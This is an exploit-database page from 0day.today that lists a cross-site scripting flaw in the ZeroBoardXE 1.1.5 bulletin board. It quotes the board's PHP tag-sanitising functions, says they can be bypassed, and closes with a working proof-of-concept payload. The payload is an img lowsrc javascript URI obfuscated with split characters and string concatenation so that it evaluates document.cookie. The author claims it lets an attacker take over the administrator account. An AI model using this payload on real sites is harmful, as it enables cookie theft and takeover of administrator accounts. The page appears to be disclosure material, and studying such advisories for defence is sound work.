0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ZeroBoardXE 1.1.5 (09.01.22) XSS Vulnerability
============================================== ZeroBoardXE 1.1.5 (09.01.22) XSS Vulnerability ============================================== /************************* ZeroBoardXE (VERSION 1.1.5 (09.01.22))is most famous and widely used bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL. I find a XSS vulnerability. By using this vulnerability, Malicious person can occupy administrator permission, It means attacker can control board system fully Here is the details: **************************/ TEST ON VERSION ZeroBoardXE 1.1.5 (09.01.22) Download : http://www.zeroboard.com /*************************** [0x01] XSS vulnerability /config/func.inc.php function removeHackTag($content) { $content = preg_replace_callback("!<([a-z]+)(.*?)>!is", removeJSEvent, $content); $content = preg_replace_callback("!<([a-z]+)(.*?)>!is", removeSrcHack, $content); return $content; } function removeJSEvent($matches) { $attrs = $matches[2]; if(preg_match('/(src|href|lowsrc|dynsrc)=("|\'?)([\r\n]*)(vbscript|javascript)/is', $matches[2])) { $attrs = preg_replace('/(src|href|lowsrc|dynsrc)=("|\'?)([\r\n]*)(vbscript|javascript)/is','$1=$2_$4', $attrs); } $attrs = preg_replace( '/(\r|\n| )+on(click|dblclick|mousedown|mouseup|mouseover|mouseout|mousemove|keydown|keyup|keypress|load|unload|abort|error|select|change|submit|reset|resize|scroll|focus|blur)+([= ]+)/is', ' _on$2=', $attrs ); $attrs = preg_replace('/_onclick=("|\')window\.open\(this\.href\);(.?)return false;("|\')/i','onclick=$1window.open(this.href);$2return false;$3', $attrs); return '<'.$matches[1].$attrs.'>'; } function removeSrcHack($matches) { $tag = strtolower(trim($matches[1])); $buff = trim(preg_replace('/(\/>|>)/','/>',$matches[0])); $buff = str_replace(array('&','&'),array('&','&'),$buff); $buff = preg_replace_callback('/([^=^"^ ]*)=([^ ^>]*)/i', fixQuotation, $buff); $oXmlParser = new XmlParser(); $xml_doc = $oXmlParser->parse($buff); $src = $xml_doc->{$tag}->attrs->src; $dynsrc = $xml_doc->{$tag}->attrs->dynsrc; $lowsrc = $xml_doc->{$tag}->attrs->lowsrc; $href = $xml_doc->{$tag}->attrs->href; if(_isHackedSrc($src) || _isHackedSrc($dynsrc) || _isHackedSrc($lowsrc) || _isHackedSrc($href) ) return sprintf("<%s>",$tag); return $matches[0]; } function _isHackedSrc($src) { if(!$src) return false; if($src) { $url_info = parse_url($src); $query = $url_info['query']; $queries = explode('&', $query); $cnt = count($queries); for($i=0;$i<$cnt;$i++) { $tmp_str = strtolower(trim($queries[$i])); $pos = strpos($tmp_str,'='); if($pos === false) continue; $key = strtolower(trim(substr($tmp_str, 0, $pos))); $val = strtolower(trim(substr($tmp_str,$pos+1))); if( ($key=='module'&&$val=='admin') || ($key=='act'&&preg_match('/admin/i',$val)) ) return true; } } return false; } //Developer try to detect XSS hardly, //But That`s not enough.. //The real-hacker can bypass it. //I`m just used 09 trick. //That`s all *************************/ poc: <img lowsrc="j a v a s c ri pt:alert((eval(('D'+'o'+'C'+'u'+'M'+'e'+'N'+'t'+'.'+'C'+'o'+'O'+'k'+'I'+'e').toLowerCase())));"> # 0day.today [2024-10-06] #